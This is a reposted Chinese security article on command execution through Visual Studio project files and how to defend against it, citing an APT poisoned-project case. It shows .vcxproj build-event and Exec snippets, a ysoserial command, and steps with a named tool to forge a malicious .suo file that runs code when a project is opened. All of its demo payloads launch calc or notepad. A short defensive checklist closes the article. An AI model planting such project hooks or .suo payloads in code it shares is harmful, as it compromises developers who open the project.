VS命令执行与防御

admin 2026-05-22 03:33:14 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析VisualStudio项目安全风险,详细讲解.suo文件反序列化与项目配置中的命令执行漏洞,提供不打开不可信项目、检查文件、删除.vs目录及使用检查工具等防御措施,具备实战参考价值。 综合评分: 88 文章分类: 漏洞分析,红队,WEB安全,内网渗透,安全工具


cover_image

VS命令执行与防御

白帽子

2026年5月20日 08:44 广东

在小说阅读器读本章

去阅读

以下文章来源于Tide安全团队 ,作者Sp1ke

Tide安全团队 .

Tide安全团队以信安技术研究为目标,致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域,对安全感兴趣的小伙伴可以关注我们。

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!

0x01 背景

最近在网上冲浪时发现曾哥团队推送了这样一则消息:

使用VS项目进行钓鱼,一番搜索发现去年10月存在同样的APT投毒项目,海莲花组织注册Github账号Jiefeng伪装为国内安全研究员,发布项目Cobalt Strike最新提权插件源码吸引受害者编译。并利用.suo文件反序列化漏洞触发恶意代码执行。

关于VS钓鱼为什么越来越猖獗,有以下几个原因

  1. 微软并不认为.suo反序列化等问题是漏洞,所以不会修复
  2. VS项目多处可以命令执行
  3. 使用VS项目进行命令执行本身具备免杀效果

本文从命令执行与防御两个角度展开,学习~~红队大佬受害记~~针对安全从业者的攻与防。

0x02 命令执行

根据利用难度,我分为需要编译和1click两个模块

需要编译

以c++项目为例,对应项目文件为.vcxproj,其他语言的项目配置如.vbproj.csproj没有做相关实验,感兴趣的读者可以自行尝试~

.vcxproj

  • 方式1

新建一个c++项目,打开项目名.vcxproj文件,添加以下代码

<ItemDefinitionGroup>
&nbsp; &nbsp;&nbsp;<PostBuildEvent>
&nbsp; &nbsp; &nbsp;&nbsp;<Command>calc</Command>
&nbsp; &nbsp;&nbsp;</PostBuildEvent>
&nbsp;&nbsp;</ItemDefinitionGroup>

编译vs项目执行

  • 方式2

同上.vcxproj文件中加入

<Target&nbsp;Name="GetFrameworkPaths">
&nbsp; &nbsp;&nbsp;<Exec&nbsp;Command="notepad"&nbsp;/>
&nbsp;&nbsp;</Target>

编译执行

项目配置命令执行

解决方案管理器右键项目名称-属性-如图所示位置

以下三个事件都可用于命令执行

需要在输出处输入内容

以上方式在编译后均可执行代码,添加这些编译属性后,vs会在项目名.vcxproj自动生成代码,由此可以看出,在背景中提到的Anydesk投毒正是在这里进行利用,需要编译恶意载荷才会运行。

1click

.suo文件利用

项目推荐(用于生成恶意.suo文件):

  • .suo文件反序列化漏洞利用工具: https://github.com/Brassinolide/VS_Deserialize_Exploit
  • .net安全矩阵知识星球 Sharp4suopoc.exe

利用流程

1.新建项目,以c++项目为例,打开视图->工具箱,搜索栏搜索类视图(其他窗口可能可以,没有做尝试)、属性,将三者钉在主页

鼠标点击类视图,然后关闭项目。(聚焦此处)

简单说一下以上做法的原因:

  • 打开视图工具箱:确保项目加载vstoolboxservice类,反序列化调用链触发点在此
  • 点击类视图触发窗口聚焦:在 @crackme.net 大佬的帮助下,了解到一条在窗口聚焦功能的漏洞触发链。

2.ysoserial.exe生成反序列化载荷

ysoserial -g ClaimsIdentity -f BinaryFormatter -c calc -o base64 -bgc TypeConfuseDelegate

3.使用工具生成恶意.suo(以VS_Deserialize_Exploit工具为例)

>VS_Deserialize_Exploit.exe
输入suo文件路径
路径\.suo

输入payload
ysoserial生成的数据

成功,文件已保存到 evil.suo

替换项目下的.suo文件即可(.suo文件一般在项目根目录/.vs/项目名/v16或v17/路径下),替换后打开项目,无需编译恶意代码即执行。

.suo文件优势在于隐蔽性高(.文件开头),无明显攻击语句(反序列化数据),使用一次后即销毁。

利用类型库进行1click攻击

需要的大牛可以看看链接:https://xz.aliyun.com/news/13871#:~:text=%E5%AE%83%E6%89%8D%E8%A7%A6%E5%8F%91%EF%BC%9F-,0X09%20%E6%9F%A5%E7%9C%8B%E4%BB%A3%E7%A0%81%E6%97%B6%E5%8A%A0%E8%BD%BD%E6%81%B6%E6%84%8F%E7%B1%BB%E5%9E%8B%E5%BA%93,-%E9%A6%96%E5%85%88%EF%BC%8C%E9%9C%80%E8%A6%81%E6%98%8E%E7%99%BD

0x03 防御

  • 不打开来源不可信的项目文件
  • 运行项目前检查.vcxproj/.vbproj/.csproj等文件是否存在命令执行、加载未知资源的恶意代码
  • 打开项目前删除.vs文件目录
  • 使用工具 https://github.com/backengineering/CheckEvilSln 检查项目

0x04 参考链接

https://crackme.net/articles/evil_sln/

https://mp.weixin.qq.com/s/x4QNvGNk4QXByh3Wb4qk6A

https://xz.aliyun.com/news/13871

https://www.secrss.com/articles/74468

https://www.ch35tnut.com/zh-cn/research/apt/ocean_lotus/suo/

https://mp.weixin.qq.com/s/x4QNvGNk4QXByh3Wb4qk6A

往期推荐

TscanPlus-一款红队自动化工具

潮影在线免杀平台上线了

自动化渗透测试工具开发实践

【红蓝对抗】利用CS进行内网横向

一个Go版(更强大)的TideFinger

SRC资产导航监测平台Tsrc上线了

新潮信息-Tide安全团队2022年度总结

记一次实战攻防(打点-Edr-内网-横向-Vcenter)

E

N

D

Tide团队产品及服务

团队自研平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ……

技术分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享

团队知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ……

团队网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ……


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:白帽子 《VS命令执行与防御》

VS命令执行与防御 网络安全文章

VS命令执行与防御

文章总结: 文档分析VisualStudio项目安全风险,详细讲解.suo文件反序列化与项目配置中的命令执行漏洞,提供不打开不可信项目、检查文件、删除.vs目录
评论:0   参与:  0